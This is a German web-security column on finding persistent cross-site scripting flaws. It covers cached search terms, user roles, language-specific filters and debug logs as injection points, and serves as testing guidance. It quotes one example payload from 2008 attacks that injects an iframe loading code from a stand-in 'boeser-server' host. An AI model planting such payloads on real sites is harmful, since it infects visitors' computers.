entwickler.com

Die meisten Schritte bei der Suche nach persistenten Cross-Site-Scripting-Schwachstellen wurden in About Security #162 und #163 bereits beschrieben, in dieser Folge werden die noch fehlenden Punkte vorgestellt.

Aktion abgebrochen, alles zurück auf Null?

Was passiert eigentlich, wenn eine in mehrere Schritte aufgeteilte Aktion nicht abgeschlossen wird - werden die Daten eventuell in einem Zwischenspeicher abgelegt, der nicht sofort gelöscht wird? Was passiert, wenn ein Administrator sich diesen Zwischenspeicher ansieht, z.B. um ein Problem zu lösen? Ist es vielleicht möglich, eine begonnene Aktion samt eingeschleusten Schadcode einem anderen Benutzer unterzuschieben, der dann beim Fortführen Opfer des eingeschleusten Codes wird? XSS könnte auch bei einer nicht abgeschlossenen Aktion möglich sein, daher muss auch dieser Fall geprüft werden.

Eine Anwendung, mehrere Darstellungen

Unterstützt die Webanwendung verschiedene Benutzerrollen, wie z.B. Gast, Benutzer, Moderator oder Administrator, muss darauf geachtet werden, das wirklich alle Parameter getestet wurden. Ein weiterer Stolperstein auf der Suche nach allen möglichen XSS-Schwachstellen: Manchmal wechseln mit der Benutzerrolle auch die zur Verfügung stehenden Funktionen samt vorgeschalteter Prüffunktionen, sodass nicht nur neue Parameter dazu kommen, sondern auch auf bereits mit niedrigeren Rechten getestete Parameter andere Prüffunktionen angewendet werden. Sofern man nicht sicher ist, dass für einen bestimmten Parameter immer dieselbe Prüffunktion verwendet wird, kommt man um eine Prüfung jeder möglichen Variante nicht herum.

Ein weiteres typisches Beispiel für einen derartigen Fall sind mehrsprachige Webanwendungen, bei denen für verschiedene Sprachen unterschiedliche Prüffunktionen verwendet werden. Das muss nicht einmal von Anfang an so geplant gewesen sein, sondern kann sich auch im Laufe der Zeit so entwickelt haben: Führt die allgemeine Prüffunktion im Zusammenhang mit einer Sprache zu Problemen, wird sie für diese Sprache durch eine zusätzliche, an die Sprache angepasste Prüffunktion ersetzt. Wird später die allgemeine Prüffunktion an aktuelle Entwicklungen angepasst, bleibt die Spezialfunktion unter Umständen unberücksichtigt und kann dadurch ausgetrickst werden.

Auch eine eventuell vorhandene Debug-Funktion muss berücksichtigt werden: Es könnte darüber möglich sein, XSS-Code z.B. in ein Logfile einzuschleusen, das dann von einem Administrator im Webbrowser geöffnet wird.

Sonstige Einfallstore

Außer den direkt manipulierbaren Parametern könnte es weitere Möglichkeiten geben, eigene Daten auf dem Server zu speichern und diese später ausgeben zu lassen. Z.B. zeigt die Suchfunktion eine Liste populärer Suchbegriffe an. Dann wäre es möglich, persistenten XSS-Code einzuschleusen, indem er mehrmals als Suchbegriff verwendet wird. Das kann auch dann passieren, wenn die Suchfunktion selbst nicht für XSS anfällig ist.

Dass derartige Angriffe tatsächlich eine Gefahr sind, beweisen ähnliche Angriffe im Frühjahr 2008, die dafür sorgten, dass viele eigentlich vertrauenswürdige Websites die Rechner ihrer Besucher mit Schadcode infizierten (Standpunkt Sicherheit vom 17. März 2008): Um den dafür verwendeten IFrame einzuschleusen, nutzten die Angreifer die Suchmaschinen-Optimierung der betroffenen Websites: Jede Suchanfrage wurde lokal gecached. Die Angreifer mussten nur nach dem gewünschten Stichwort und einer ladbaren Version des IFrame suchen und der Code wurde in den Cache übernommen:

Interessanter-Suchbegriff<iframe src="http://boeser-server/...">

Zusammenfassung

Für jeden Parameter wird ein Testmuster eingegeben, danach in der gesamten Webanwendung nach dessen Auftreten gesucht. Am effektivsten geht das, wenn für jeden Parameter ein individuelles Testmuster, aufgebaut aus einem einheitlichen Teil und Informationen über den jeweiligen Parameter, verwendet wird. Auch die Bereiche der Webanwendung, die erst nach einer erfolgreichen Authentifizierung zugänglich sind, wie z.B. der Administrationsbereich, müssen untersucht werden. Aktionen, die aus mehreren Schritten bestehen, müssen bis zum Ende durchgeführt werden. Auch Dateiup- und downloads müssen geprüft werden. Kennt die Webanwendung verschiedene Benutzerrollen oder unterstützt sie verschiedene Sprachen, müssen alle Varianten untersucht werden. Außer dem direkt manipulierbaren Parametern müssen auch eventuell vorhandene weitere Möglichkeiten, Daten auf dem Server zu speichern, geprüft werden.

Weiter gehts...

Nachdem alle Möglichkeiten identifiziert wurden, vom Benutzer kontrollierte Daten zu speichern und später wieder auszugeben, müssen sie wie bei der Suche nach reflektiertem XSS eine nach der anderen geprüft werden: Kann darüber XSS-Code eingeschleust werden oder funktionieren die Prüf- und/oder Filterfunktionen einwandfrei? Dabei wird wie in About Security #159 und #160 beschrieben vorgegangen.

In der nächsten Folge erfahren Sie, wie Sie die dritte Kategorie von XSS-Schwachstellen finden können: DOM-basierte XSS-Schwachstellen.

Carsten Eilers